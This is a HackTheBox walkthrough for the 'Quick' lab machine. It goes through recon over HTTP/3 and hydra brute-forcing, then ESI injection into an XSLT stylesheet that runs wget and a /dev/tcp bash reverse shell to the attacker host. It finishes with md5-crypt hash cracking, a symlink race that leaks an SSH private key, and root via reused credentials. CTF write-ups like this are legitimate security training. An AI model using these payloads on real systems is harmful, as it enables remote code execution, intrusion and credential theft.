HackTheBox - Quick | Walkthrough

HackTheBox - Quick | Walkthrough

Recon

export ipaddress=10.10.10.186
ports=$(nmap -p- --min-rate=1000 -T4 $ipaddress | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//); nmap -A -p$ports $ipaddress -o nmap

The nmap run gives the following result:

# Nmap 7.80 scan initiated Thu Apr 30 00:00:37 2020 as: nmap -A -p22,9001 -o nmap 10.10.10.186
Nmap scan report for 10.10.10.186
Host is up (0.31s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
|   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   309.20 ms 10.10.14.1
2   309.27 ms 10.10.10.186

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 30 00:02:27 2020 -- 1 IP address (1 host up) scanned in 110.33 seconds

Also, from the name Quick, I think of the QUIC (Quick UDP Internet Connections).
So, let's scan the UDP ports here.

nmap -sU -o udp.nmap -T4 -p80,443,9001 10.10.10.186

# Nmap 7.80 scan initiated Thu Apr 30 00:23:24 2020 as: nmap -sU -o udp.nmap -T4 -p80,443,9001 10.10.10.186
Nmap scan report for 10.10.10.186
Host is up (0.45s latency).

PORT     STATE         SERVICE
80/udp   closed        http
443/udp  open|filtered https
9001/udp closed        etlservicemgr

# Nmap done at Thu Apr 30 00:23:28 2020 -- 1 IP address (1 host up) scanned in 4.29 seconds

From the first nmap scan, we know that the port 9001vis open and is a web server. Let's check it out.
Looking at the webpage, we see a few links, login.php, clients.php and we also get the hostname, portal.quick.htb. However, we see that its says https. Supporting our idea that it might actually be QUIC protocol.
Now, let's add the hostnames to the /etc/hosts file.

vi /etc/hosts

10.10.10.186	portal.quick.htb quick.htb

While we look at the website, let's run some kind of enumeration in background. Let's try doing some content discovery using ffuf.

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://quick.htb:9001/FUZZ -e .php

Because we think that it could be QUIC, let's enable it. Currently, I'm using Chromium. To enable QUIC, go to chrome://flags/ and search for QUIC and enable it.
Now, let's check out the login and clients page.

Also note that we have a few names, which could be usernames.

Coming back to our fuff scan, we see quite a few results.

clients.php             [Status: 200, Size: 2698, Words: 234, Lines: 112]
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
home.php                [Status: 200, Size: 86, Words: 2, Lines: 1]
index.php               [Status: 200, Size: 3351, Words: 354, Lines: 126]
index.php               [Status: 200, Size: 3351, Words: 354, Lines: 126]
login.php               [Status: 200, Size: 4345, Words: 451, Lines: 209]
search.php              [Status: 200, Size: 1, Words: 1, Lines: 2]
server-status           [Status: 200, Size: 11769, Words: 337, Lines: 206]
ticket.php              [Status: 200, Size: 86, Words: 2, Lines: 1]

We knew about the clients, login and index page but these others are new for us.
We also see a server-status page, which is a web server misconfiguration, you can report this if you find it in any bug bounty platform.

Looking at the server-status page, we see quite a bit of information. The requests that are coming in, and other information about the server. Some of the information that we got, I've copied and pasted here.

Apache Server Status for quick.htb (via 127.0.0.1)
Server Version: Apache/2.4.29 (Ubuntu) mpm-itk/2.4.7-04
Server MPM: prefork
Server Built: 2020-03-13T12:26:16

Looking at each of the pages that we got a 200 for:
db.php → Empty response
home.php → Javascript that says invalid credentials
search.php → Empty response
ticket.php → This is the same javascript as before.

Let's try to curl the QUIC version of the website.

curl --http3 https://portal.quick.htb/
curl: option --http3: the installed libcurl version doesn't support this
curl: try 'curl --help' for more information

Looking at the curl documentation at https://github.com/curl/curl/blob/master/docs/HTTP3.md seems like we need build it with quiche.

Let's do that.

I tried building quiche, and yeah, let's just not try that. It was a pain and didn't compile.
Let's just use a docker container.

pacman -S docker 

And, yes, I'm using Arch now. Had some issues with Kali in VirtualBox. Switched over to Arch, and things have been lovely so far.

systemctl start docker
docker pull ymuski/curl-http3
docker run -it ymuski/curl-http3 bash

echo "10.10.10.186 portal.quick.htb quick.htb" >> /etc/hosts
curl --http3 https://portal.quick.htb/

<html>
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
<head>
<style>
ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  width: 200px;
  background-color: #f1f1f1;
}

li a {
  display: block;
  color: #000;
  padding: 8px 16px;
  text-decoration: none;
}

/* Change the link color on hover */
li a:hover {
  background-color: #555;
  color: white;
}
</style>
</head>
<body>
<p> Welcome to Quick User Portal</p>
<ul>
  <li><a href="index.php">Home</a></li>
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>
</ul>
</html>

Hmm, we see a few other links. Let's check them out. Also, the way its calling the pages, makes me think of something like LFI but, we'll just have to see.
Let's checkout these pages first.
Looking at the contact page, we see a simple form.
Now, looking at the about page, we get a few email addresses.
Interesting.

  • jane@quick.htb
  • mike@quick.htb
  • john@quick.htb

We also see a sub directory, /w3images which seems to contain images.
Looking at the references page, we see a few pdfs at /docs/, Connectivity and a Quick Start Guide.
Also, it seems like its not vulnerable to LFI.

However, when I tried RFI, I was getting ping-backs. That was kinda funny.

1

The interesting this is, when we curl it with http3, we are able to get a response but when we try to use browsers for it we don't.
So out of curiosity, I spun up Wireshark, sent a result via browser and one via curl to see what was going on.

2

Following the TCP stream:

3

What's happening is we are unable to send QUIC requests via browser. Which is weird, given that we enabled it.

Okay, now let's download the two pdfs.

curl --http3 https://portal.quick.htb/docs/QuickStart.pdf -O QuickStart.pdf
curl --http3 https://portal.quick.htb/docs/Connectivity.pdf -O Connectivity.pdf

Now, these are inside the docker container, let's copy them outside and check them out.

 docker cp 1d1:/opt/QuickStart.pdf .
 docker cp 1d1:/opt/Connectivity.pdf .

Now, looking at the Connectivity.pdf file, we get a password, nice.
Quick4cc3$$
Now, let's go back to the login platform and try to login.

Before we do that, let's create a users.txt file and add the usernames we have to it.

vi users.txt

	jane@quick.htb
	mike@quick.htb
	john@quick.htb

And, let's also save the password in a file, passwd.txt.

hydra -L users.txt -P passwd.txt -s 9001 quick.htb http-post-form "/login.php:email=^USER^&password=^PASS^:Invalid"

Nothing, nada.
Let's add a few more emails to the list, using the names that we found in the initial web page.

cat users.txt

john@quick.htb
jane@quick.htb
mike@quick.htb
tim@quick.htb
roy@quick.htb
elisa@quick.htb
james@quick.htb

Running hydra again, we still don't get anything.
Now, let's try adding the emails with their respective company names.
Still nothing.

If you remember, in the clients page, we saw the countries of the different organizations. Let's try making email accounts from that.

cat users.txt

john@quick.htb
jane@quick.htb
mike@quick.htb
tim@qconsulting.co.uk
tim@qconsulting.uk
roy@darkwingsolutions.com
elisa@winkmedia.co.uk
elisa@wink.co.uk
elisa@wink.com
james@lazycoop.cn
james@lazycoop.co.cn

Now running hydra again, we see that one valid password has been found! Phew, finally!

[9001][http-post-form] host: quick.htb   login: elisa@wink.co.uk   password: Quick4cc3$$

Nice.
Now, let's try logging in with these credentials.

Logging into the portal, we can see that there's a search field, and we can also raise tickets.
After you raise a ticket, you get a ticket number, and you can search from it.
TKT-3036 was one of the tickets that I raised.

Now, we probably need to find an RCE to login.
Or, maybe, just bruteforce the number behind TKT-* and we might find something interesting.

Let's open Burp and see what Burp tells us.

After browsing the site normally for a while while passing it through Burp, I looked at the HTTP History.
Looking at the response, we see that, it says, X-Powered-By: Esigate.
After googling around for it and reading a few blog posts, you should hear about ESI Injection.
A few of the blog posts that I read are:
http://www.esigate.org/quickstart.html

http://www.esigate.org/security/security-01.html

https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/

https://portswigger.net/daily-swig/edge-side-includes-abused-to-enable-rce

Now, let's try to create a ticket and see if we can inject the ESI Injection payload there.
<esi:include src="http://10.10.14.25/test" />
In our attacker machine, let's start a simple web server so that we can see a request hitting us.

python -m http.server 80

Now, search for your ticket id and you should see a callback on your machine.
This is nice.
Reading a bit more about this exploit and the way to get RCE, it seems like, we should give it a url for a stylesheet which is hosted on our machine and in that stylesheet, we can add our malicious payload which will run a command in that machine. So, what we will do is, first download a script from our attacker machine, and then, we will modify our stylesheet once again, to run that script which gives us a reverse shell.

vi test.xsl

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
  <xsl:variable name="cmd"><![CDATA[wget 10.10.14.25:8000/abhizer.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

Here, this stylesheet downloads abhizer.sh for us.

cat abhizer.sh

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.25/4444 0>&1

This is a simple bash reverse shell.

Now, let's serve our stylesheet. While serving it with a python based simple http server, I had a few issues regarding the path of the file. So, I wrote a ruby script using sinatra, to serve the same content, regardless of the requested path.

gem install sinatra

vi test_page.rb

	require 'rubygems'
	require 'sinatra'

	get '/*' do
		File.read('test.xsl')
	end

Now, let's run it so that it listens on all interfaces.

ruby test_page.rb -o 0.0.0.0

It says that it is listening on port 4567, so, let's use ESI Injection in such a way that it fetches the file being served by Sinatra.

The payload:

<esi:include src="http://10.10.10.186:9001/" stylesheet="http://10.10.14.25:4567/test.xsl" />

Create a ticket using the payload above and note the ticket id.

Now, before we search for our ticket to execute the stylesheet, let's set up another web server, that serves our reverse shell script.

python -m http.server 8000

Now, go and search for the ticket id.
Notice the logs in your python based web server. It is fetching the requested file.

Now, modify the test.xsl file, and change wget 10.10.14.25:8000/abhizer.sh to, bash abhizer.sh to execute it.

Set up a netcat listener to catch the reverse shell:

nc -nvlp 4444

Now, go ahead and resend the search request for your ticket id.
You should get a reverse shell!
Congratulations!

Priv Esc

ls /var/www/
html  jobs  printer

We see a printer and a jobs folder, interesting.

Looking at jobs, we find nothing.

sam@quick:/var/www$ ls printer
add_printer.php  css  db.php  escpos-php  favicon.ico  fonts  home.php  images  index.php  job.php  printers.php

Here, we see some files.

Checking the db file, we get the database credentials.

sam@quick:/var/www$ cat printer/db.php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

Using these credentials, let's try to login to the database.

mysql -u db_adm -p quick
# enter the password db_p4ss

mysql> show databases;                                                                                                                                                                                           
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| quick              |
| sys                |
+--------------------+
5 rows in set (0.00 sec)
mysql> use quick;
Database changed
mysql> show tables;
+-----------------+
| Tables_in_quick |
+-----------------+
| jobs            |
| tickets         |
| users           |
+-----------------+
3 rows in set (0.00 sec)

Users seems like an interesting table. But before checking it, let's just make sure that we don't miss anything by not taking a look at the others.

mysql> describe jobs;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| title | varchar(100) | YES  |     | NULL    |       |
| ip    | varchar(100) | YES  |     | NULL    |       |
| port  | varchar(100) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)
mysql> describe tickets;
+-------------+---------------+------+-----+---------+-------+
| Field       | Type          | Null | Key | Default | Extra |
+-------------+---------------+------+-----+---------+-------+
| id          | varchar(100)  | YES  |     | NULL    |       |
| title       | varchar(100)  | YES  |     | NULL    |       |
| description | varchar(1000) | YES  |     | NULL    |       |
| status      | varchar(100)  | YES  |     | NULL    |       |
+-------------+---------------+------+-----+---------+-------+
4 rows in set (0.00 sec)

Nothing seems interesting in jobs or tickets, let's move to the users table.

mysql> select * from users;
+--------------+------------------+----------------------------------+
| name         | email            | password                         |
+--------------+------------------+----------------------------------+
| Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
+--------------+------------------+----------------------------------+
2 rows in set (0.00 sec)

Nice, we see two creds. One is for Server Admin and one for Elisa, which I believe we already have.
Let's see if we can crack the Server Admin credentials.
Now, putting one of the hashes in hash-identifier it suggests that:
Possible Hashs:

[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))

Hmm. Before you move forward, let's check the authentication process.

less /var/www/html/login.php

<?php 
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
        $email=$_POST["email"];
        $password = $_POST["password"];
        $password = md5(crypt($password,'fa'));
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");
        $stmt->bind_param("ss",$email,$password);
        $stmt->execute();
        $result = $stmt->get_result();
        $num_rows = $result->num_rows;
        if($num_rows > 0)
        {
                session_start();
                $_SESSION["loggedin"]=$email;
                header("location: home.php");
        }
        else
        {
                echo '<script>alert("Invalid Credentials");window.location.href="/login.php";</script>';
        }
}
else
{?>

Now, let's check the password hashing mechanism used in the printer. head /var/www/printer/index.php
We see that its pretty much the same.
We see that it is first using crypt on the password with 'fa' and then using md5 on it.
Let's write a script that cracks this kind of password using python3.

First let's check if the hash we create with our method matches Elisa's hash that we found in the database.

[ 1337 /home/abhizer ]# python3
Python 3.8.2 (default, Apr  8 2020, 14:31:25) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> import crypt
>>> hashlib.md5(crypt.crypt("Quick4cc$$","fa").encode()).hexdigest()
'c6c35ae1f3cb19438e0199cfa72a9d9d'
>>> 

Nice, now that we know that we will not be wasting our time, let's write the script.

[ 1337 /home/abhizer/hackthebox/quick ]# cat test.py
#!/sbin/python

import hashlib
import crypt

def main():
  hash_cracked=''
  with open("rockyou.txt","r", encoding="latin-1") as file:
    for line in file:
      newhash = hashlib.md5(crypt.crypt(line.strip(),'fa').encode()).hexdigest()
      if newhash == 'e626d51f8fbfd1124fdea88396c35d05':
        hash_cracked=line.strip()
        print('The password has been cracked! %s' % hash_cracked)
        file.close()
        break

main()

Now, let's run the script and get that password:

python test.py 
The password has been cracked! yl51pbx

Now, let's try to switch user to srvadm.

su - srvadm

Entering that password, it says authentication failure.
Hmm, seems like we aren't supposed to use it here.
Seems like this password is only for the printer.
Hmm, so there is a printer website hosted by this machine. Let's see if we can find some virtual host configuration.

Looking at /etc/apache2/sites-enabled/000-default.conf we see a virtual host configuration for the printer.

cat /etc/apache2/sites-enabled/000-default.conf

...
<VirtualHost *:80>
        AssignUserId srvadm srvadm
        ServerName printerv2.quick.htb
        DocumentRoot /var/www/printer
</VirtualHost>

So, we can probably login with srvadm credentials in this printer site.
Let's try it.

Before trying to go to that site, we need to add it to our attacker machine's /etc/hosts.

vi /etc/hosts

Add it to the file.
Now, browse to it with Firefox.
Logging in with the creds:
srvadm@quick.htb
yl51pbx
We see an interface where we can list printers or add printers.

Looking at the source code of the file /var/www/printers/job.php, it seems like it takes the description field, puts it in a file with name as the timestamp, and then runs chmod 0777. And for printing it seems to be doing file_get_contents() on the file that it just created. Let's just try adding a printer and see what it does.

So, we probably can assign a job to a printer once we set up a printer.
We can probably give the IP address and port number to connect to our attacker machine.

First, I've put up a netcat listener in my attacker machine:

nc -nvlp 8888

Now, in the form, give your attacker machine's IP and your chosen port.
And, add the printer.
Once you've done that, in the list of printers, in the Actions column, if you hit the print icon, it says that the printer is up, and in your attacker machine, you should see that you receive a connection and the text you specified is printed.

Now, going back the source code, as it first writes the file and then reads data from it to print it, we can probably exploit a potential race condition. So, we can probably write a bash script that creates a symlink from srvadm's id_rsa to our current file and then get that printed.

Now, let's create a bash script to do just that:

while true; do
	file=$(ls /var/www/jobs)
	if [[ ! -z "$file" ]]; then
		ln -sF /home/srvadm/.ssh/id_rsa /var/www/jobs/$file
		break
	fi
done

Let's keep it running in the background:

bash printid_rsa.sh

Now, once again lets set up the netcat listener, and create a job for the printer and print it.

In our netcat listener now, we should have the rsa key.

Sweet!

Lets just copy and paste it into a file and try using it to login as srvadm.

vim srvadm.id_rsa # paste it here
chmod 600 srvadm.id_rsa
ssh -i srvadm.id_rsa srvadm@quick.htb

Nice! We're in!

Root

Now,, looking at the files in the home directory, we see a directory called .cache.

ls

cd .cache
ls 
ls *

There, we see another interesting directory conf.d. Inside it, there's printers.conf, it looks interesting, let's check it out.

less printers.conf

Looking at that file, we see that there's a line that says:
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
URL decoding the credentials, we get: srvadm@quick.htb:&ftQ4K3SGde8?.

I get a feeling that we should try to login with this password as root. Let's give it a go.

ssh root@quick.htb

And, entering that password, we get in!
Wow! That was one hell of a journey!
Also, this is my first Hard ranked box, quite a box!
Congratulations!